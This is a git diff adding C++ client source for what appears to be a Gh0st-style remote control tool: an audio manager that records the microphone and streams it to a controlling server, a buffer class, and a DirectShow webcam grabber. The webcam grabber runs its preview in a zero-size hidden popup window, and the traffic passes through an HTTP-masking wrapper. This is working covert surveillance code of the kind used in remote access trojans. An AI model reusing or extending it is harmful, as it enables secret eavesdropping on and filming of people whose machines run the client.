ULONG m_ulBufferLength;
|
||||
LPWAVEHDR m_InAudioHeader[2]; //两个头
|
||||
LPBYTE m_InAudioData[2]; //两个数据 保持声音的连续
|
||||
HANDLE m_hEventWaveIn;
|
||||
HANDLE m_hStartRecord; //两个事件
|
||||
HWAVEIN m_hWaveIn; //设备句柄
|
||||
DWORD m_nWaveInIndex;
|
||||
bool m_hThreadCallBack;
|
||||
HANDLE m_Thread;// waveInCallBack线程
|
||||
static DWORD WINAPI waveInCallBack(LPVOID lParam); //发送到主控端
|
||||
LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
|
||||
BOOL InitializeWaveIn();
|
||||
BOOL m_bIsWaveInUsed;
|
||||
|
||||
HWAVEOUT m_hWaveOut;
|
||||
BOOL m_bExit;
|
||||
BOOL m_bIsWaveOutUsed;
|
||||
DWORD m_nWaveOutIndex;
|
||||
LPWAVEHDR m_OutAudioHeader[2]; //两个头
|
||||
LPBYTE m_OutAudioData[2]; //两个数据 保持声音的连续
|
||||
BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
||||
BOOL InitializeWaveOut();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||
129
client/AudioManager.cpp
Normal file
129
client/AudioManager.cpp
Normal file
@@ -0,0 +1,129 @@
|
||||
// AudioManager.cpp: implementation of the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "AudioManager.h"
|
||||
#include "Common.h"
|
||||
#include <Mmsystem.h>
|
||||
#include <IOSTREAM>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
m_AudioObject = NULL;
|
||||
|
||||
if (Initialize()==FALSE) {
|
||||
szPacket = NULL;
|
||||
m_hWorkThread = NULL;
|
||||
char buf[128];
|
||||
sprintf_s(buf, "Open audio failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("语音管理", buf);
|
||||
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
|
||||
return;
|
||||
}
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
|
||||
WaitForDialogOpen(); //等待对话框打开
|
||||
szPacket = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
if (1 == ulLength)
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
|
||||
{
|
||||
CAudioManager *This = (CAudioManager *)lParam;
|
||||
while (This->m_bIsWorking && !This->g_bExit) {
|
||||
if(!This->SendRecordBuffer())
|
||||
Sleep(50);
|
||||
}
|
||||
|
||||
Mprintf("CAudioManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CAudioManager::SendRecordBuffer()
|
||||
{
|
||||
DWORD dwBufferSize = 0;
|
||||
BOOL dwReturn = 0;
|
||||
//这里得到 音频数据
|
||||
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
|
||||
if (szBuffer == NULL)
|
||||
return 0;
|
||||
//分配缓冲区
|
||||
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
|
||||
//加入数据头
|
||||
szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息
|
||||
//复制缓冲区
|
||||
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
||||
szPacket[dwBufferSize] = 0;
|
||||
//发送出去
|
||||
if (dwBufferSize > 0) {
|
||||
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
CAudioManager::~CAudioManager()
|
||||
{
|
||||
m_bIsWorking = FALSE; //设定工作状态为假
|
||||
if (m_hWorkThread)
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
|
||||
if (m_hWorkThread)
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
|
||||
if (m_AudioObject!=NULL) {
|
||||
delete m_AudioObject;
|
||||
m_AudioObject = NULL;
|
||||
}
|
||||
if (szPacket) {
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
Mprintf("~CAudioManager %p\n", this);
|
||||
}
|
||||
|
||||
//USB
|
||||
BOOL CAudioManager::Initialize()
|
||||
{
|
||||
if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡
|
||||
return FALSE;
|
||||
|
||||
// SYS SYS P
|
||||
// 正在使用中.. 防止重复使用
|
||||
if (m_bIsWorking==TRUE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_AudioObject = new CAudio; //功能类
|
||||
|
||||
m_bIsWorking = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
32
client/AudioManager.h
Normal file
32
client/AudioManager.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// AudioManager.h: interface for the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||
#define AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "Audio.h"
|
||||
|
||||
|
||||
class CAudioManager : public CManager
|
||||
{
|
||||
public:
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL Initialize();
|
||||
CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
|
||||
virtual ~CAudioManager();
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
BOOL SendRecordBuffer();
|
||||
|
||||
CAudio* m_AudioObject;
|
||||
LPBYTE szPacket; // 音频缓存区
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||
166
client/Buffer.cpp
Normal file
166
client/Buffer.cpp
Normal file
@@ -0,0 +1,166 @@
|
||||
#ifdef _WIN32
|
||||
#include "StdAfx.h"
|
||||
#endif
|
||||
|
||||
#include "Buffer.h"
|
||||
#include <math.h>
|
||||
|
||||
|
||||
#define U_PAGE_ALIGNMENT 3
|
||||
#define F_PAGE_ALIGNMENT 3.0
|
||||
|
||||
CBuffer::CBuffer()
|
||||
{
|
||||
m_ulMaxLength = 0;
|
||||
|
||||
m_Ptr = m_Base = NULL;
|
||||
}
|
||||
|
||||
|
||||
CBuffer::~CBuffer(void)
|
||||
{
|
||||
if (m_Base) {
|
||||
MVirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
m_Base = NULL;
|
||||
}
|
||||
|
||||
m_Base = m_Ptr = NULL;
|
||||
m_ulMaxLength = 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
ULONG dataLen = (ULONG)(m_Ptr - m_Base);
|
||||
if (ulLength > dataLen) {
|
||||
ulLength = dataLen;
|
||||
}
|
||||
|
||||
if (ulLength) {
|
||||
CopyMemory(Buffer, m_Base, ulLength);
|
||||
|
||||
// 只移动有效数据,而非整个缓冲区
|
||||
ULONG remaining = dataLen - ulLength;
|
||||
if (remaining > 0) {
|
||||
MoveMemory(m_Base, m_Base + ulLength, remaining);
|
||||
}
|
||||
m_Ptr = m_Base + remaining;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(m_Ptr - m_Base);
|
||||
|
||||
return ulLength;
|
||||
}
|
||||
|
||||
|
||||
// 重新分配内存大小
|
||||
VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
int len = m_Ptr - m_Base;
|
||||
if (ulLength < len)
|
||||
return;
|
||||
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
|
||||
if (m_ulMaxLength <= ulNewMaxLength) {
|
||||
return;
|
||||
}
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
return;
|
||||
|
||||
CopyMemory(NewBase,m_Base,len);
|
||||
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
|
||||
m_Base = NewBase;
|
||||
|
||||
m_Ptr = m_Base + len;
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == FALSE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CopyMemory(m_Ptr, Buffer, ulLength);
|
||||
m_Ptr+=ulLength;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
// 当缓存长度不足时重新分配
|
||||
BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < m_ulMaxLength)
|
||||
return TRUE;
|
||||
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ULONG len = m_Ptr - m_Base;
|
||||
CopyMemory(NewBase, m_Base, len);
|
||||
|
||||
if (m_Base) {
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
}
|
||||
m_Base = NewBase;
|
||||
m_Ptr = m_Base + len;
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
VOID CBuffer::ClearBuffer()
|
||||
{
|
||||
m_Ptr = m_Base;
|
||||
|
||||
DeAllocateBuffer(1024);
|
||||
}
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::GetBufferLength() const
|
||||
{
|
||||
return m_Ptr - m_Base;
|
||||
}
|
||||
|
||||
|
||||
void CBuffer::Skip(ULONG ulPos)
|
||||
{
|
||||
if (ulPos == 0)
|
||||
return;
|
||||
|
||||
// 边界检查:确保不会越界
|
||||
ULONG dataLen = (ULONG)(m_Ptr - m_Base);
|
||||
if (ulPos > dataLen) {
|
||||
ulPos = dataLen;
|
||||
}
|
||||
|
||||
if (ulPos > 0) {
|
||||
ULONG remaining = dataLen - ulPos;
|
||||
if (remaining > 0) {
|
||||
MoveMemory(m_Base, m_Base + ulPos, remaining);
|
||||
}
|
||||
m_Ptr = m_Base + remaining;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
||||
{
|
||||
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base)) {
|
||||
return NULL;
|
||||
}
|
||||
return m_Base+ulPos;
|
||||
}
|
||||
24
client/Buffer.h
Normal file
24
client/Buffer.h
Normal file
@@ -0,0 +1,24 @@
|
||||
#pragma once
|
||||
|
||||
#include "../common/commands.h"
|
||||
|
||||
class CBuffer
|
||||
{
|
||||
public:
|
||||
CBuffer(void);
|
||||
~CBuffer(void);
|
||||
|
||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
ULONG GetBufferLength() const; //获得有效数据长度
|
||||
VOID DeAllocateBuffer(ULONG ulLength);
|
||||
VOID ClearBuffer();
|
||||
BOOL ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
PBYTE GetBuffer(ULONG ulPos=0) const;
|
||||
void Skip(ULONG ulPos);
|
||||
|
||||
protected:
|
||||
PBYTE m_Base;
|
||||
PBYTE m_Ptr;
|
||||
ULONG m_ulMaxLength;
|
||||
};
|
||||
258
client/CaptureVideo.cpp
Normal file
258
client/CaptureVideo.cpp
Normal file
@@ -0,0 +1,258 @@
|
||||
// CaptureVideo.cpp: implementation of the CCaptureVideo class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CaptureVideo.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
CSampleGrabberCB CCaptureVideo::mCB;
|
||||
|
||||
CCaptureVideo::CCaptureVideo()
|
||||
{
|
||||
m_pCapture = NULL;
|
||||
m_pGB = NULL;
|
||||
m_pMC = NULL;
|
||||
m_pVW = NULL;
|
||||
m_pBF = NULL;
|
||||
m_pGrabber = NULL;
|
||||
m_bExit = FALSE;
|
||||
m_hWnd = NULL;
|
||||
if (FAILED(CoInitialize(NULL))) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
CCaptureVideo::~CCaptureVideo()
|
||||
{
|
||||
m_bExit = TRUE;
|
||||
if(m_pMC)m_pMC->StopWhenReady();
|
||||
if(m_pVW) {
|
||||
m_pVW->put_Visible(OAFALSE);
|
||||
m_pVW->put_Owner(NULL);
|
||||
}
|
||||
SAFE_RELEASE(m_pMC);
|
||||
SAFE_RELEASE(m_pVW);
|
||||
SAFE_RELEASE(m_pGB);
|
||||
SAFE_RELEASE(m_pBF);
|
||||
SAFE_RELEASE(m_pGrabber);
|
||||
SAFE_RELEASE(m_pCapture);
|
||||
|
||||
CoUninitialize() ;
|
||||
}
|
||||
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_OK;
|
||||
do {
|
||||
hResult = InitCaptureGraphBuilder();
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
if(!BindVideoFilter(iDeviceID, &m_pBF))
|
||||
break;
|
||||
|
||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||
|
||||
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ISampleGrabber, (void**)&m_pGrabber); //引脚内存
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
//m_pGrabber 属性设置 1 格式 2 内存缓冲形式
|
||||
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//设置视频格式
|
||||
AM_MEDIA_TYPE mt; //视频格式
|
||||
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
||||
mt.majortype = MEDIATYPE_Video;
|
||||
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24
|
||||
|
||||
hResult = m_pGrabber->SetMediaType(&mt);
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pGB->AddFilter(pGrabBase,L"Grabber");
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //静态
|
||||
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||
if(FAILED(hResult)) {
|
||||
//扑捉
|
||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
hResult = m_pGrabber->GetConnectedMediaType(&mt);
|
||||
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
|
||||
//3 扑捉数据 FDO 一旦有数据就进行 回调函数调用 属于一个类
|
||||
|
||||
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
|
||||
//mCB 是个另外一个类 并且全局变量 有个回调
|
||||
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
|
||||
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
|
||||
|
||||
FreeMediaType(mt);
|
||||
|
||||
hResult = m_pGrabber->SetBufferSamples( FALSE ); //回调函数
|
||||
hResult = m_pGrabber->SetOneShot( FALSE );
|
||||
|
||||
//设置视频捕获回调函数 也就是如果有视频数据时就会调用这个类的BufferCB函数
|
||||
|
||||
//返回OnTimer
|
||||
hResult = m_pGrabber->SetCallback(&mCB, 1);
|
||||
|
||||
m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
|
||||
SetupVideoWindow(); //屏蔽窗口
|
||||
|
||||
hResult = m_pMC->Run(); //开灯
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
} while (false);
|
||||
|
||||
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
|
||||
return hResult;
|
||||
}
|
||||
|
||||
|
||||
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||
{
|
||||
HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC,
|
||||
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //真实设备
|
||||
|
||||
if (FAILED(hResult)) {
|
||||
return hResult;
|
||||
}
|
||||
|
||||
hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_IGraphBuilder, (void**)&m_pGB); //虚拟设备
|
||||
|
||||
if (FAILED(hResult)) {
|
||||
return hResult;
|
||||
}
|
||||
//将过滤绑定到真实设备上面
|
||||
m_pCapture->SetFiltergraph(m_pGB);
|
||||
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
|
||||
if (FAILED(hResult)) {
|
||||
return hResult;
|
||||
}
|
||||
|
||||
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
|
||||
if (FAILED(hResult)) {
|
||||
return hResult;
|
||||
}
|
||||
return hResult;
|
||||
}
|
||||
|
||||
LPBITMAPINFO CCaptureVideo::GetBmpInfor()
|
||||
{
|
||||
return mCB.GetBmpInfor(); //构建位图内存头和数据
|
||||
}
|
||||
|
||||
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter)
|
||||
{
|
||||
if (deviceId < 0)
|
||||
return FALSE;// enumerate all video capture devices
|
||||
CComPtr<ICreateDevEnum> pCreateDevEnum;
|
||||
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ICreateDevEnum, (void**)&pCreateDevEnum);
|
||||
if (hr != NOERROR) {
|
||||
return FALSE;
|
||||
}
|
||||
CComPtr<IEnumMoniker> pEm;
|
||||
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0);
|
||||
if (hr != NOERROR) {
|
||||
return FALSE;
|
||||
}
|
||||
pEm->Reset();
|
||||
ULONG cFetched;
|
||||
IMoniker *pM;
|
||||
int index = 0;
|
||||
while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) {
|
||||
IPropertyBag *pBag;
|
||||
//通过BindToStorage 可以访问该设备的标识集
|
||||
hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag);
|
||||
if(SUCCEEDED(hr)) {
|
||||
VARIANT var;
|
||||
var.vt = VT_BSTR;
|
||||
hr = pBag->Read(L"FriendlyName", &var, NULL);
|
||||
if (hr == NOERROR) {
|
||||
if (index == deviceId) {
|
||||
pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
|
||||
}
|
||||
SysFreeString(var.bstrVal);
|
||||
}
|
||||
pBag->Release(); //引用计数--
|
||||
}
|
||||
pM->Release();
|
||||
index++;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt)
|
||||
{
|
||||
if (mt.cbFormat != 0) {
|
||||
CoTaskMemFree((PVOID)mt.pbFormat);
|
||||
mt.cbFormat = 0;
|
||||
mt.pbFormat = NULL;
|
||||
}
|
||||
if (mt.pUnk != NULL) {
|
||||
mt.pUnk->Release();
|
||||
mt.pUnk = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT CCaptureVideo::SetupVideoWindow()
|
||||
{
|
||||
HRESULT hr;
|
||||
hr = m_pVW->put_Owner((OAHWND)m_hWnd);
|
||||
if (FAILED(hr))return hr;
|
||||
hr = m_pVW->put_WindowStyle(WS_CHILD | WS_CLIPCHILDREN);
|
||||
if (FAILED(hr))return hr;
|
||||
ResizeVideoWindow();
|
||||
hr = m_pVW->put_Visible(OATRUE);
|
||||
return hr;
|
||||
}
|
||||
|
||||
void CCaptureVideo::ResizeVideoWindow()
|
||||
{
|
||||
if (m_pVW) {
|
||||
RECT rc;
|
||||
::GetClientRect(m_hWnd,&rc);
|
||||
m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //将窗口设置到0 0 0 0 处
|
||||
}
|
||||
}
|
||||
|
||||
void CCaptureVideo::SendEnd() //发送结束 设置可以再取数据
|
||||
{
|
||||
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
|
||||
}
|
||||
|
||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||
{
|
||||
BYTE *szBuffer = NULL;
|
||||
int n = 200; // 10s没有获取到数据则返回NULL
|
||||
do {
|
||||
if (mCB.bStact==CMD_CAN_SEND) { //这里改变了一下发送的状态
|
||||
if (szBuffer = mCB.GetNextScreen(dwSize)) //是否获取到视频
|
||||
break;
|
||||
}
|
||||
Sleep(50);
|
||||
} while (!m_bExit && --n);
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
242
client/CaptureVideo.h
Normal file
242
client/CaptureVideo.h
Normal file
@@ -0,0 +1,242 @@
|
||||
// CaptureVideo.h: interface for the CCaptureVideo class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||
#define AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <Objbase.h>
|
||||
#include <uuids.h>
|
||||
#include <strmif.h>
|
||||
#include <CONTROL.H>
|
||||
#include <ATLBASE.H>
|
||||
#include <amvideo.h>
|
||||
#include <DShow.h>
|
||||
|
||||
#pragma comment(lib,"Strmiids.lib")
|
||||
|
||||
// TODO 全局变量, 定义位置:qedit.h
|
||||
|
||||
// 接口 ID 回调接口,用于在每一帧抓取时通知应用
|
||||
EXTERN_C const IID IID_ISampleGrabberCB;
|
||||
|
||||
// 类 ID 创建 Sample Grabber COM 对象
|
||||
EXTERN_C const CLSID CLSID_SampleGrabber;
|
||||
|
||||
// 接口 ID 设置 Sample Grabber 的参数、格式、回调等操作接口
|
||||
EXTERN_C const IID IID_ISampleGrabber;
|
||||
|
||||
struct ISampleGrabberCB : public IUnknown {
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE SampleCB(
|
||||
double SampleTime,
|
||||
IMediaSample * pSample) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE BufferCB(
|
||||
double SampleTime,
|
||||
BYTE* pBuffer,
|
||||
long BufferLen) = 0;
|
||||
};
|
||||
|
||||
struct ISampleGrabber : public IUnknown {
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE SetOneShot(
|
||||
BOOL OneShot) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetMediaType(
|
||||
const AM_MEDIA_TYPE* pType) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType(
|
||||
AM_MEDIA_TYPE* pType) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetBufferSamples(
|
||||
BOOL BufferThem) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer(
|
||||
/* [out][in] */ long* pBufferSize,
|
||||
/* [out] */ long* pBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample(
|
||||
/* [retval][out] */ IMediaSample** ppSample) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetCallback(
|
||||
ISampleGrabberCB* pCallback,
|
||||
long WhichMethodToCallback) = 0;
|
||||
|
||||
};
|
||||
|
||||
enum {
|
||||
CMD_CAN_COPY,
|
||||
CMD_CAN_SEND
|
||||
};
|
||||
|
||||
#ifndef SAFE_RELEASE
|
||||
#define SAFE_RELEASE( x ) if ( NULL != x ){ x->Release(); x = NULL; }
|
||||
#endif
|
||||
|
||||
class CSampleGrabberCB : public ISampleGrabberCB
|
||||
{
|
||||
public:
|
||||
ULONG m_ulFullWidth;
|
||||
ULONG m_ulFullHeight;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
BYTE* m_BitmapData_Full;
|
||||
BOOL bStact;
|
||||
DWORD m_dwSize; // 视频图像数据大小
|
||||
|
||||
CSampleGrabberCB()
|
||||
{
|
||||
m_ulFullWidth = 0 ;
|
||||
m_ulFullHeight = 0 ;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
m_BitmapData_Full = NULL;
|
||||
|
||||
m_dwSize = 0;
|
||||
bStact = CMD_CAN_COPY;
|
||||
}
|
||||
|
||||
~CSampleGrabberCB()
|
||||
{
|
||||
if (m_BitmapInfor_Full!=NULL) {
|
||||
delete[] m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
if (m_BitmapData_Full!=NULL) {
|
||||
delete[] m_BitmapData_Full;
|
||||
}
|
||||
|
||||
m_ulFullWidth = 0 ;
|
||||
m_ulFullHeight = 0 ;
|
||||
}
|
||||
|
||||
LPBITMAPINFO GetBmpInfor()
|
||||
{
|
||||
if (m_BitmapInfor_Full==NULL) { //头信息
|
||||
ConstructBI(24);
|
||||
}
|
||||
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
|
||||
{
|
||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数
|
||||
|
||||
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
|
||||
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||
|
||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
||||
BitmapInforHeader->biWidth = m_ulFullWidth;
|
||||
BitmapInforHeader->biHeight = m_ulFullHeight;
|
||||
BitmapInforHeader->biPlanes = 1;
|
||||
BitmapInforHeader->biBitCount = ulbiBitCount;
|
||||
BitmapInforHeader->biCompression = BI_RGB;
|
||||
BitmapInforHeader->biXPelsPerMeter = 0;
|
||||
BitmapInforHeader->biYPelsPerMeter = 0;
|
||||
BitmapInforHeader->biClrUsed = 0;
|
||||
BitmapInforHeader->biClrImportant = 0;
|
||||
|
||||
BitmapInforHeader->biSizeImage = //图像数据
|
||||
(((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3)
|
||||
* BitmapInforHeader->biHeight;
|
||||
// 16位和以后的没有颜色表,直接返回
|
||||
|
||||
//!!
|
||||
m_dwSize=BitmapInforHeader->biSizeImage; //数据大小
|
||||
m_BitmapData_Full=new BYTE[m_dwSize+10];
|
||||
ZeroMemory(m_BitmapData_Full,m_dwSize+10);
|
||||
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
STDMETHODIMP_(ULONG) AddRef()
|
||||
{
|
||||
return 2;
|
||||
}
|
||||
STDMETHODIMP_(ULONG) Release()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
|
||||
{
|
||||
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ) {
|
||||
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
|
||||
return NOERROR;
|
||||
}
|
||||
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
